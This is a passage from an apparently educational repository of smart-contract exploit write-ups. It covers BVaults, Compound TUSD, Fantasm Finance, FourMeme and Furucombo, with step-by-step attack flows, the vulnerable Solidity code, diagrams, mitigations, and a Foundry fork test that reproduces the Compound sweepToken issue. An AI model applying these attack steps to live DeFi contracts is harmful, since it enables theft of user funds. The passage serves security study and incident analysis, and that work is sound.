{abstract}TestHarness 19 | {abstract}TokenBalanceTracker 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | #[[address]] attacker 25 | #[[address]] weth 26 | #[[address]] usdc 27 | #[[IRoninBridge]] bridge 28 | 29 | ' -- methods -- 30 | +setUp() 31 | +test_attack() 32 | 33 | } 34 | ' -- inheritance / usingFor -- 35 | Exploit_RoninBridge --[#DarkGoldenRod]|> TestHarness 36 | Exploit_RoninBridge --[#DarkGoldenRod]|> TokenBalanceTracker 37 | 38 | @enduml -------------------------------------------------------------------------------- /test/Bridges/Wormhole/wormhole.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Bridges/Wormhole/wormhole.png -------------------------------------------------------------------------------- /test/Business_Logic/Bvaults/README.md: -------------------------------------------------------------------------------- 1 | # BVaults 2 | - **Type:** Exploit 3 | - **Network:** Binance Smart Chain 4 | - **Total lost**: 35K 5 | - **Category:** Price manipulation 6 | - **Vulnerable contracts:** 7 | - - [0xB2B1DC3204ee8899d6575F419e72B53E370F6B20](https://bscscan.com/address/0xB2B1DC3204ee8899d6575F419e72B53E370F6B20) 8 | - **Attack transactions:** 9 | - - [0xe7b7c974e51d8bca3617f927f86bf907a25991fe654f457991cbf656b190fe94](https://bscscan.com/tx/0xe7b7c974e51d8bca3617f927f86bf907a25991fe654f457991cbf656b190fe94) 10 | - **Attacker Addresses**: 11 | - - EOA: [0x5bfaa396c6fb7278024c6d7230b17d97ce8ab62d](https://bscscan.com/address/0x5bfaa396c6fb7278024c6d7230b17d97ce8ab62d) 12 | - **Attack Block:**: 22629432 13 | - **Date:** Oct 30, 2022 14 | - **Reproduce:** `forge test --match-contract Exploit_BVaults -vvv` 15 | 16 | ## Step-by-step 17 | 1. Create a malicious token and pair 18 | 2. Inflate its price 19 | 3. Call convertDustToEarned 20 | 4. Swap again 21 | 5. Cashout and repeat 22 | 23 | ## Detailed Description 24 | 25 | This attack relies on the fack that BVault provided a `convertDustToEarned` method that would swap all of the tokens in the pool to "earned" tokens. 26 | 27 | Unfortunately, it did not do any kind of price check or use any kind of smoothing of the price curve. This makes it vulnerable to price inflation: the attacker created a malicious token and pair, inflated the price of the token in the pool and then used it to gain `earnedTokens`. 28 | 29 | ``` solidity 30 | function convertDustToEarned() public whenNotPaused { 31 | require(isAutoComp, "!isAutoComp"); 32 | 33 | // Converts dust tokens into earned tokens, which will be reinvested on the next earn(). 34 | 35 | // Converts token0 dust (if any) to earned tokens 36 | uint256 _token0Amt = IERC20(token0Address).balanceOf(address(this)); 37 | if (token0Address != earnedAddress && _token0Amt > 0) { 38 | _vswapSwapToken(token0Address, earnedAddress, _token0Amt); 39 | } 40 | 41 | // Converts token1 dust (if any) to earned tokens 42 | uint256 _token1Amt = IERC20(token1Address).balanceOf(address(this)); 43 | if (token1Address != earnedAddress && _token1Amt > 0) { 44 | _vswapSwapToken(token1Address, earnedAddress, _token1Amt); 45 | } 46 | } 47 | 48 | function _vswapSwapToken(address _inputToken, address _outputToken, uint256 _amount) internal { 49 | IERC20(_inputToken).safeIncreaseAllowance(vswapRouterAddress, _amount); 50 | IValueLiquidRouter(vswapRouterAddress).swapExactTokensForTokens(_inputToken, _outputToken, _amount, 1, vswapPaths[_inputToken][_outputToken], address(this), now.add(1800)); 51 | } 52 | ``` 53 | 54 | ## Possible mitigations 55 | - Either introduce an oracle to get a second-source of truth for prices or use time-weighted-average to smooth the curve. 56 | 57 | ## Diagrams and graphs 58 | 59 | ### Class 60 | 61 | ![class](bvaults.png) 62 | 63 | ### Call graph 64 | 65 | ![call](bvaults-call.png) 66 | 67 | ## Sources and references 68 | - [Beosin Alert's Twitter](https://twitter.com/BeosinAlert/status/1588579143830343683) 69 | - [Source Code](https://bscscan.com/address/0xb2b1dc3204ee8899d6575f419e72b53e370f6b20#code) 70 | -------------------------------------------------------------------------------- /test/Business_Logic/Bvaults/bvaults-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/Bvaults/bvaults-call.png -------------------------------------------------------------------------------- /test/Business_Logic/Bvaults/bvaults.d2: -------------------------------------------------------------------------------- 1 | MaliciousToken: Malicious Token { 2 | maliciousTransfer: transfer() 3 | maliciousBurn: burn() 4 | } 5 | 6 | MaliciousPair: Malicious Pair { 7 | maliciousSwap: swap() 8 | } 9 | 10 | WBNBToken: WBNB Token{ 11 | wbnbTransfer: transfer() 12 | } 13 | 14 | BDexPair: BDEX Pair { 15 | vaultSwap: swap() 16 | } 17 | 18 | BVault: Vault (Victim) { 19 | convertDust: convertDustToEarned() 20 | } 21 | 22 | BDEXToken: BDEX Token { 23 | bdexTransfer: transfer(BDEX Pair) 24 | } 25 | 26 | 27 | 28 | 29 | Attacker -> MaliciousToken.maliciousTransfer: 1°: to Malicious Pair 30 | MaliciousToken.maliciousTransfer -> MaliciousPair.maliciousSwap: 2° 31 | MaliciousPair.maliciousSwap -> WBNBToken.wbnbTransfer: 3°: transfer to BDEX Pair 32 | WBNBToken.wbnbTransfer -> BDexPair.vaultSwap: 4° 33 | BDexPair.vaultSwap -> BVault.convertDust: 5° 34 | BVault.convertDust -> BDEXToken.bdexTransfer: 6° 35 | BDEXToken.bdexTransfer -> BDexPair.vaultSwap: 7° 36 | BDexPair.vaultSwap -> WBNBToken.wbnbTransfer: 8°: to Malicious Pair 37 | WBNBToken.wbnbTransfer -> MaliciousPair.maliciousSwap: 9° 38 | MaliciousPair.maliciousSwap -> MaliciousToken.maliciousBurn: 10°: Burn malicious tokens 39 | 40 | explanation: |md 41 | # BVaults 42 | - Price Manipulation 43 | - Arbitrary Tokens Allowed 44 | | 45 | -------------------------------------------------------------------------------- /test/Business_Logic/Bvaults/bvaults.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/Bvaults/bvaults.png -------------------------------------------------------------------------------- /test/Business_Logic/Bvaults/bvaults.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | 4 | interface IERC20_Burnable { 5 | ' -- inheritance -- 6 | {abstract}IERC20 7 | 8 | ' -- usingFor -- 9 | 10 | ' -- vars -- 11 | 12 | ' -- methods -- 13 | +burn() 14 | 15 | } 16 | 17 | 18 | interface BVaultsStrategy { 19 | ' -- inheritance -- 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | 25 | ' -- methods -- 26 | +convertDustToEarned() 27 | 28 | } 29 | 30 | 31 | interface Pair { 32 | ' -- inheritance -- 33 | 34 | ' -- usingFor -- 35 | 36 | ' -- vars -- 37 | 38 | ' -- methods -- 39 | +swap() 40 | +🔍getReserves() 41 | 42 | } 43 | 44 | 45 | class Exploit_BVaults { 46 | ' -- inheritance -- 47 | {abstract}TestHarness 48 | {abstract}TokenBalanceTracker 49 | 50 | ' -- usingFor -- 51 | 52 | ' -- vars -- 53 | #[[IERC20]] WBNB 54 | #[[IERC20]] BDEX 55 | #[[IERC20_Burnable]] maliciousToken 56 | #[[BVaultsStrategy]] vaultsStrategy 57 | #{static}[[Pair]] BDEXWBNB_PAIR 58 | #{static}[[Pair]] MALICIOUS_PAIR 59 | #{static}[[address]] ATTACKER 60 | #{static}[[address]] ATTACKER_CONTRACT 61 | 62 | ' -- methods -- 63 | +setUp() 64 | +test_attack() 65 | 66 | } 67 | ' -- inheritance / usingFor -- 68 | IERC20_Burnable --[#DarkGoldenRod]|> IERC20 69 | Exploit_BVaults --[#DarkGoldenRod]|> TestHarness 70 | Exploit_BVaults --[#DarkGoldenRod]|> TokenBalanceTracker 71 | 72 | @enduml -------------------------------------------------------------------------------- /test/Business_Logic/Compound/Compound.reported.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 7 | 8 | import {IERC20} from "../../interfaces/IERC20.sol"; 9 | 10 | interface ICERC20Delegator { 11 | function mint(uint256 mintAmount) external payable returns (uint256); 12 | function balanceOf(address _of) external view returns(uint256); 13 | function decimals() external view returns(uint16); 14 | function borrow(uint256 borrowAmount) external payable returns (uint256); 15 | function accrueInterest() external; 16 | function approve(address spender, uint256 amt) external; 17 | function redeemUnderlying(uint256 redeemAmount) external payable returns (uint256); 18 | function sweepToken(IERC20 token) external; 19 | } 20 | 21 | 22 | contract Report_Compound is TestHarness, TokenBalanceTracker { 23 | ICERC20Delegator internal cTUSD = ICERC20Delegator(0x12392F67bdf24faE0AF363c24aC620a2f67DAd86); 24 | 25 | IERC20 internal tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376); // Main entry point 26 | IERC20 internal tusdLegacy = IERC20(0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E); // Forwarder, side entry point 27 | 28 | function setUp() external { 29 | cheat.createSelectFork("mainnet", 14266479); // fork mainnet at block 14266479 30 | 31 | addTokenToTracker(address(tusd)); 32 | addTokenToTracker(address(tusdLegacy)); // Should be the same as tusd 33 | 34 | updateBalanceTracker(address(cTUSD)); // Pool underlying balance. 35 | logBalancesWithLabel('Initial Pool Balances', address(cTUSD)); 36 | } 37 | 38 | function test_attack() external { 39 | cheat.expectRevert(abi.encodePacked("CErc20::sweepToken: can not sweep underlying token")); 40 | cTUSD.sweepToken(tusd); // This reverts 41 | 42 | cTUSD.sweepToken(tusdLegacy); // This passes 43 | 44 | logBalancesWithLabel('Final Pool Balances', address(cTUSD)); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /test/Business_Logic/Compound/README.md: -------------------------------------------------------------------------------- 1 | # Compound TUSD integration Issue 2 | - **Type:** Report 3 | - **Network:** Ethereum 4 | - **Total lost**: - 5 | - **Category:** Reinitialization 6 | - **Vulnerable contracts:** 7 | - - [0x12392F67bdf24faE0AF363c24aC620a2f67DAd86](https://etherscan.io/address/0x12392F67bdf24faE0AF363c24aC620a2f67DAd86) 8 | - **Attack transactions:** 9 | - - None 10 | - **Attacker Addresses**: 11 | - - None 12 | - **Attack Block:**: - 13 | - **Date:** Mar 21, 2022 (public disclosure) 14 | - **Reproduce:** `forge test --match-contract Report_Compound -vvv` 15 | 16 | ## Step-by-step 17 | 1. Call `sweepToken` specifying the secondary address of `tUSD`. 18 | 2. Take advantage of the new price of `tUSD` now that there is no underlying balance. 19 | 20 | ## Detailed Description 21 | The issue was discovered by [ChainSecurity during their audit](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2) of Compound. 22 | 23 | The most important fact to understand is that the `tUSD` has two contracts. This is similar in how a proxy contract works, but there are implementation differences (`tUSD` was developed before proxy standards were popularized). 24 | 25 | `tUSD` has a primary contract and a legacy contract. The legacy contract delegates its calls to the primary contract. Note how this is different from current proxy designs: the legacy contract delegates call to the current one, but the current one can still be used directly! 26 | 27 | Now, Compound implemented a `sweepToken` method. This method is supposed to transfer all the balances of a token from the contract to an admin. This is useful in case users mistakenly send a token (say, USDC) by mistake to the contract. With this, they can call `sweepToken` and contact the admin so their funds are returned. 28 | 29 | ``` solidity 30 | pragma solidity ^0.8.6; 31 | 32 | function sweepToken(EIP20NonStandardInterface token) override external { 33 | require(address(token) != underlying, "CErc20::sweepToken: can not sweep underlying token"); 34 | uint256 balance = token.balanceOf(address(this)); 35 | token.transfer(admin, balance); 36 | } 37 | ``` 38 | 39 | It is important for this method to check that `token` is not its underlying! If it were, one could transfer all of the balance's of the contract to the admin. Remember, this is intended for mistakes. The contract is _supposed to_ have balances of its underlying! 40 | 41 | Now we have the two pieces of the puzzle to understand the vulnerability. This `sweepToken` does not work for tokens like `tUSD`. An attacker can supply the address of the `legacy tUSD` contract, which will pass the `require` clause (because the legacy one is not underlying) but will return the balances of the `primary tUSD` and transfer from it! 42 | 43 | This causes the internal exchange rate of the contract to change, which elevates this vulnerablity from a griefing to a lucrative exploit for an attacker. 44 | 45 | ## Diagrams and graphs 46 | 47 | ### Class 48 | 49 | ![class](compound.png) 50 | 51 | ### Call graph 52 | 53 | ![class](compound-call.png) 54 | 55 | ## Possible mitigations 56 | - [ChainSecurity](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2) proposes an interesting fix: checking the underlying balance before and after the `transfer` to make sure it stays the same. 57 | 58 | ## Sources and references 59 | - [OpenZeppelin's Writeup](https://blog.openzeppelin.com/compound-tusd-integration-issue-retrospective/) 60 | - [Chainsecurity's Writeup](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2)) 61 | - [Source code](https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f#code) 62 | -------------------------------------------------------------------------------- /test/Business_Logic/Compound/compound-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/Compound/compound-call.png -------------------------------------------------------------------------------- /test/Business_Logic/Compound/compound.d2: -------------------------------------------------------------------------------- 1 | cTUSD: cTUSD Token { 2 | sweepTokenFails: sweepToken(TUSD) 3 | sweepTokenPasses: sweepToken(TUSDLegacy) 4 | } 5 | 6 | 7 | 8 | Attacker -> cTUSD.sweepTokenFails: 0°: This tx fails 9 | Attacker -> cTUSD.sweepTokenPasses: 1°: This tx passes 10 | 11 | 12 | explanation: |md 13 | # Compound 14 | - Double entry point 15 | 16 | | 17 | -------------------------------------------------------------------------------- /test/Business_Logic/Compound/compound.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/Compound/compound.png -------------------------------------------------------------------------------- /test/Business_Logic/Compound/compound.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface ICERC20Delegator { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +💰mint() 12 | +🔍balanceOf() 13 | +🔍decimals() 14 | +💰borrow() 15 | +accrueInterest() 16 | +approve() 17 | +💰redeemUnderlying() 18 | +sweepToken() 19 | 20 | } 21 | 22 | 23 | class Exploit_CompoundReported { 24 | ' -- inheritance -- 25 | {abstract}TestHarness 26 | {abstract}TokenBalanceTracker 27 | 28 | ' -- usingFor -- 29 | 30 | ' -- vars -- 31 | #[[ICERC20Delegator]] cTUSD 32 | #[[IERC20]] tusd 33 | #[[IERC20]] tusdLegacy 34 | 35 | ' -- methods -- 36 | +setUp() 37 | +test_attack() 38 | 39 | } 40 | ' -- inheritance / usingFor -- 41 | Exploit_CompoundReported --[#DarkGoldenRod]|> TestHarness 42 | Exploit_CompoundReported --[#DarkGoldenRod]|> TokenBalanceTracker 43 | 44 | @enduml -------------------------------------------------------------------------------- /test/Business_Logic/EarningFarm/earningfarm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/EarningFarm/earningfarm.png -------------------------------------------------------------------------------- /test/Business_Logic/EarningFarm/earningfarm.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IDVM { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +flashLoan() 12 | 13 | } 14 | 15 | 16 | interface IEFVault { 17 | ' -- inheritance -- 18 | 19 | ' -- usingFor -- 20 | 21 | ' -- vars -- 22 | 23 | ' -- methods -- 24 | +withdraw() 25 | +💰deposit() 26 | 27 | } 28 | 29 | 30 | class Exploit_EarningFarm { 31 | ' -- inheritance -- 32 | {abstract}TestHarness 33 | {abstract}TokenBalanceTracker 34 | {abstract}BalancerFlashloan 35 | 36 | ' -- usingFor -- 37 | 38 | ' -- vars -- 39 | #[[IDVM]] dvm 40 | #[[IEFVault]] efvault 41 | #[[IWETH9]] weth 42 | #[[IERC20]] eftoken 43 | 44 | ' -- methods -- 45 | +setUp() 46 | +test_attack() 47 | +DVMFlashLoanCall() 48 | +💰**__constructor__**() 49 | 50 | } 51 | ' -- inheritance / usingFor -- 52 | Exploit_EarningFarm --[#DarkGoldenRod]|> TestHarness 53 | Exploit_EarningFarm --[#DarkGoldenRod]|> TokenBalanceTracker 54 | Exploit_EarningFarm --[#DarkGoldenRod]|> BalancerFlashloan 55 | 56 | @enduml -------------------------------------------------------------------------------- /test/Business_Logic/Fantasm_Finance/README.md: -------------------------------------------------------------------------------- 1 | # Fantasm Finance 2 | - **Type:** Exploit 3 | - **Network:** Fantom 4 | - **Total lost**: ~$2.62MM USD 5 | - **Category:** Bad Data Validation 6 | - **Vulnerable contracts:** 7 | - - [0x880672ab1d46d987e5d663fc7476cd8df3c9f937](https://ftmscan.com/address/0x880672ab1d46d987e5d663fc7476cd8df3c9f937) 8 | - **Attack transactions:** 9 | - - [0x0c850bd8b8a8f4eb3f3a0298201499f794e0bfa772f620d862b13f0a44eadb82](https://ftmscan.com/tx/0x0c850bd8b8a8f4eb3f3a0298201499f794e0bfa772f620d862b13f0a44eadb82) 10 | - **Attacker Addresses**: 11 | - - EOA: [0x47091e015b294b935babda2d28ad44e3ab07ae8d](https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d) 12 | - - Contract: [0x944b58c9b3b49487005cead0ac5d71c857749e3e](https://ftmscan.com/address/0x944b58c9b3b49487005cead0ac5d71c857749e3e) 13 | - **Attack Block:**: 32968740 14 | - **Date:** Mar 09, 2022 15 | - **Reproduce:** `forge test --match-contract Exploit_FantasmFinance -vvv` 16 | 17 | ## Step-by-step 18 | 1. Call `mint` without providing any backing for your mint 19 | 2. Profit 20 | 21 | ## Detailed Description 22 | 23 | As most tokens, you can `mint` Fantasm on some conditions. Particularly, Fantasm wanted to ask for some native tokens `_ftmIn` and some amount of an extra token `_fantasmIn` to mint some `XFTM`. 24 | 25 | So, in short, you need to give `FTM` (native token) and `FXM` (non-native, is burned) to mint some `XFTM`. 26 | 27 | The problem is that the `mint` function never checks for the amount of `FMT` deposited, allowing the attacker to mint with only `FXM`. 28 | 29 | ```solidity 30 | function mint(uint256 _fantasmIn, uint256 _minXftmOut) external payable nonReentrant { 31 | require(!mintPaused, "Pool::mint: Minting is paused"); 32 | uint256 _ftmIn = msg.value; 33 | address _minter = msg.sender; 34 | 35 | // This is supposed to mint. There are three parameters: 36 | // 1. Native token passed `_ftmIn` 37 | // 2. _fantasmIn an amount 38 | // 3.`_minXftmOut` slippage protection 39 | // What you say here is "Giving you _ftmIn native, I want at least minXftmOut, and I will put _fantasmIn as collateral" 40 | 41 | (uint256 _xftmOut, , uint256 _minFantasmIn, uint256 _ftmFee) = calcMint(_ftmIn, _fantasmIn); 42 | require(_minXftmOut <= _xftmOut, "Pool::mint: slippage"); 43 | require(_minFantasmIn <= _fantasmIn, "Pool::mint: Not enough Fantasm input"); 44 | require(maxXftmSupply >= xftm.totalSupply() + _xftmOut, "Pool::mint: > Xftm supply limit"); 45 | 46 | WethUtils.wrap(_ftmIn); 47 | userInfo[_minter].lastAction = block.number; 48 | 49 | if (_xftmOut > 0) { 50 | userInfo[_minter].xftmBalance = userInfo[_minter].xftmBalance + _xftmOut; 51 | unclaimedXftm = unclaimedXftm + _xftmOut; 52 | } 53 | 54 | if (_minFantasmIn > 0) { 55 | fantasm.safeTransferFrom(_minter, address(this), _minFantasmIn); 56 | fantasm.burn(_minFantasmIn); 57 | } 58 | 59 | if (_ftmFee > 0) { 60 | WethUtils.transfer(feeReserve, _ftmFee); 61 | } 62 | 63 | emit Mint(_minter, _xftmOut, _ftmIn, _fantasmIn, _ftmFee); 64 | } 65 | 66 | ``` 67 | 68 | ## Possible mitigations 69 | 70 | 1. The obvious recommendation here is "check that counterpart token is received", but... 71 | 2. ... this can be covered by a test. Make sure to have **negative testing** as part of the suite of your contract, with tests that check that "should not mint XFTM without backing native token" 72 | 73 | ## Diagrams and graphs 74 | 75 | ### Class 76 | 77 | ![class](fantasmfinance.png) 78 | 79 | ## Sources and references 80 | - [Fastm Finance Twitter](https://twitter.com/fantasm_finance/status/1501569232881995785) 81 | - [Certik's Writeup](https://www.certik.com/resources/blog/5p92144WQ44Ytm1AL4Jt9X-fantasm-finance) 82 | - [Coindesk Article](https://www.coindesk.com/tech/2022/03/10/fantom-based-algo-protocol-fantasm-exploited-for-26m/) 83 | - [Source Code](https://ftmscan.com/address/0x880672ab1d46d987e5d663fc7476cd8df3c9f937#code#F11#L151) 84 | -------------------------------------------------------------------------------- /test/Business_Logic/Fantasm_Finance/fantasmfinance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/Fantasm_Finance/fantasmfinance.png -------------------------------------------------------------------------------- /test/Business_Logic/Fantasm_Finance/fantasmfinance.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IFantasm { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +💰mint() 12 | +collect() 13 | 14 | } 15 | 16 | 17 | class Exploit_FantasmFinance { 18 | ' -- inheritance -- 19 | {abstract}TestHarness 20 | {abstract}TokenBalanceTracker 21 | 22 | ' -- usingFor -- 23 | 24 | ' -- vars -- 25 | #[[IERC20]] fsm 26 | #[[IERC20]] xFTM 27 | #[[IFantasm]] fantasmPool 28 | #{static}[[address]] FANTOM_DEPLOYER 29 | #{static}[[uint256]] ATTACKER_INITIAL_BALANCE 30 | 31 | ' -- methods -- 32 | +setUp() 33 | +test_attack() 34 | 35 | } 36 | ' -- inheritance / usingFor -- 37 | Exploit_FantasmFinance --[#DarkGoldenRod]|> TestHarness 38 | Exploit_FantasmFinance --[#DarkGoldenRod]|> TokenBalanceTracker 39 | 40 | @enduml -------------------------------------------------------------------------------- /test/Business_Logic/FourMeme/FourMemeExploitDiagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/FourMeme/FourMemeExploitDiagram.png -------------------------------------------------------------------------------- /test/Business_Logic/FourMeme/IFourMemeToken.sol: -------------------------------------------------------------------------------- 1 | import {IERC20} from '../../interfaces/IERC20.sol'; 2 | pragma solidity ^0.8.17; 3 | 4 | interface IFourMemeToken is IERC20 { 5 | 6 | function setMode(uint v) external; 7 | } -------------------------------------------------------------------------------- /test/Business_Logic/FourMeme/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Four Meme Pool Price Manipulation 3 | - **Type:** Exploit 4 | - **Network:** Binance Smart Chain 5 | - **Total lost**: 14k USD with SNOWBOARD, total estimated 183k 6 | - **Category:** Price Manipulation 7 | - **Exploited contracts:** 8 | - - FourMeme Liquidity Provider: https://bscscan.com/address/0x5c952063c7fc8610ffdb798152d69f0b9550762b 9 | - **Attack blocks and transactions:** 10 | 11 | * * [46555725](https://bscscan.com/tx/0x4235b006b94a79219181623a173a8a6aadacabd01d6619146ffd6fbcbb206dff) (Malicious pool initialized) 12 | * * [46555731](https://bscscan.com/tx/0xe0daa3bf68c1a714f255294bd829ae800a381624417ed4b474b415b9d2efeeb5) (Liquidity added) 13 | * * [46555732](https://bscscan.com/tx/0x2902f93a0e0e32893b6d5c907ee7bb5dabc459093efa6dbc6e6ba49f85c27f61) (Tokens sold) 14 | 15 | - **Date:** Feb 11, 2025 16 | - **Reproduce:** `forge test --match-contract Exploit_FourMeme -vvv` 17 | 18 | ## Step-by-step 19 | 1. Call the PancakeSwap V3 position manager to initialize the SNOWBOARD/WBNB liquidity pool with an unfavourable price. 20 | 2. Wait for the victim to deploy liquidity without checking minimum desired amounts. 21 | 3. Sell the SNOWBOARD meme coins to drain as most WBNB as possible. 22 | 23 | ## Detailed Description 24 | 25 | [four.meme]() is a memecoin launchpad on the BNB Smart Chain, similar to [pump.fun](). This platform operates in three main steps: 26 | 27 | 1. **Creation**: Users customize the name, logo, description, and optional social accounts to generate a new memecoin. 28 | 2. **Trading**: Other users can trade the memecoin directly on the platform. 29 | 3. **Migration**: Once the memecoin's market value reaches a predefined threshold (24 BNB on four.meme), it is migrated to a decentralized exchange (DEX) such as PancakeSwap. 30 | 31 | Now, let's dive into the technical details of each stage. 32 | 33 | ### What Happened? 34 | 35 | The core issue originates from four.meme's contract [0x5c95](https://bscscan.com/address/0x5c952063c7fc8610ffdb798152d69f0b9550762b). Specifically, when adding liquidity to the pool via the `mint` function in the Pancake V3 Position Manager, the contract **failed to provide the `amount0Min` and `amount1Min` values**. These values define the minimum required token amounts for a successful liquidity provision, protecting against unfavorable price fluctuations. If the actual required amounts fall below these minimums, the transaction reverts to prevent unintended losses due to slippage. However, due to this oversight: 36 | 37 | 1. The attacker **preemptively deployed a SNOWBOARD/WBNB pool with an artificially high token price** by calling the [`createAndInitializePoolIfNecessary`](https://docs.uniswap.org/contracts/v3/reference/periphery/base/PoolInitializer) function. 38 | 2. When the vulnerable contract attempted to create a Pancake V3 pool for the token, it **failed to verify the pool’s state or price if an existing pool was already deployed**. As a result, the platform unknowingly added liquidity to the attacker’s malicious pool at a manipulated price. 39 | 3. Finally, the attacker **sold the tokens acquired from the platform’s internal pool at a lower price, making a profit**. Notably, no MEV bot detected this exploitation, as the initial distribution of SNOWBOARD tokens was limited to a few wallets. 40 | 41 | 42 | ## Possible mitigations 43 | 44 | To mitigate this attack, [four.meme]() should have set appropriate `amount0Min` and `amount1Min` values when adding liquidity to the pool. 45 | 46 | ## Diagrams and graphs 47 | 48 | ### Entity and class diagram 49 | ![PlantUML](./FourMemeExploitDiagram.png) 50 | 51 | ## Sources and references 52 | - [FourMeme Incident Analysis by Zero Time Technology](https://www.chaincatcher.com/en/article/2167296) 53 | - [TenArmor Security Alert on X](https://x.com/TenArmorAlert/status/1889515007404286019) -------------------------------------------------------------------------------- /test/Business_Logic/Furucombo/README.md: -------------------------------------------------------------------------------- 1 | # Furucombo 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost:** ~$15MM USD (in different tokens) 5 | - **Category:** Bad usage of `DELEGATECALL` 6 | - **Vulnerable contracts:** 7 | - - [0x17e8Ca1b4798B97602895f63206afCd1Fc90Ca5f](https://etherscan.io/address/0x17e8Ca1b4798B97602895f63206afCd1Fc90Ca5f) 8 | - **Attack transactions:** 9 | - - [0x8bf64bd802d039d03c63bf3614afc042f345e158ea0814c74be4b5b14436afb9](https://etherscan.io/tx/0x8bf64bd802d039d03c63bf3614afc042f345e158ea0814c74be4b5b14436afb9) 10 | - **Attacker Addresses**: 11 | - - EOA: [0xb624e2b10b84a41687caec94bdd484e48d76b212](https://etherscan.io/address/0xb624e2b10b84a41687caec94bdd484e48d76b212) 12 | - - Contract: [0x86765dde9304bEa32f65330d266155c4fA0C4F04](https://etherscan.io/address/0x86765dde9304bEa32f65330d266155c4fA0C4F04) 13 | - **Attack Block:**: 11940500 14 | - **Date:** Feb 27, 2021 15 | - **Reproduce:** `forge test --match-contract Exploit_Furucombo -vvv` 16 | 17 | ## Step-by-step 18 | 1. Set up a malicious contract 19 | 2. Call AAVE through Furucombo and initialize it from Furucombo's POV 20 | 3. Now your malicious contract _is_ AAVE from Furucombo's POV 21 | 4. Use Furucomob's `DELEGATECALL` to steal the tokens users had `approved` to Furucombo 22 | 23 | ## Detailed Description 24 | 25 | `DELEGATE` call is always dangerous, as it requires complete trust in the code that you are running the context of the caller contract. Its most common use is upgradability, and even there it has some nasty footguns one should be aware of. 26 | 27 | But Furucombo uses `DELEGATECALL` in a way that is particularly dangerous: it allows users to `DELEGATECALL` into several contracts, as long as they are in a whitelist. 28 | 29 | ``` solidity 30 | /** 31 | * @notice The execution of a single cube. 32 | * @param _to The handler of cube. 33 | * @param _data The cube execution data. 34 | */ 35 | function _exec(address _to, bytes memory _data) 36 | internal 37 | returns (bytes memory result) 38 | { 39 | require(_isValid(_to), "Invalid handler"); 40 | _addCubeCounter(); 41 | assembly { 42 | let succeeded := delegatecall( 43 | sub(gas(), 5000), 44 | _to, 45 | add(_data, 0x20), 46 | mload(_data), 47 | 0, 48 | 0 49 | ) 50 | let size := returndatasize() 51 | 52 | result := mload(0x40) 53 | mstore( 54 | 0x40, 55 | add(result, and(add(add(size, 0x20), 0x1f), not(0x1f))) 56 | ) 57 | mstore(result, size) 58 | returndatacopy(add(result, 0x20), 0, size) 59 | 60 | switch iszero(succeeded) 61 | case 1 { 62 | revert(add(result, 0x20), size) 63 | } 64 | } 65 | } 66 | ``` 67 | 68 | Now, one of these whitelisted contracts was AAVE. AAVE, as many other contracts, is upgradable: this means it is only itself a proxy that does `DELEGATECALL` to an implementation contract. 69 | 70 | If the storage slot where the implementation address is not set, anyone can set it. From AAVE's perspective, this was set and all was working. But when Furucombo delegated the call, it is now using **its storage** to run AAVE's code. From this perspective, AAVE's was not initialized. 71 | 72 | So now, the attacker only has to tell Furucombo to `DELEGATECALL` into AAVE and run its `initialize()` method, setting their own malicious `EVIL AAVE` as the implementation. Now, when calling AAVE, users would actually be interacting with the malicious contract, which can run arbitrary code in the context of Furucombo. The attacker used this to steal as many funds as possible. 73 | 74 | ## Possible mitigations 75 | 76 | 1. Be **extremely** careful when using `DELEGATECALL` 77 | 2. Do not whitelist useless contracts. AAVE has no reason to be in the whitelist, as it actually did not work (it would not be able to find its implementation, balances, or anything else when run through Furucombo's Proxy) 78 | 3. The attack was so profitable because there 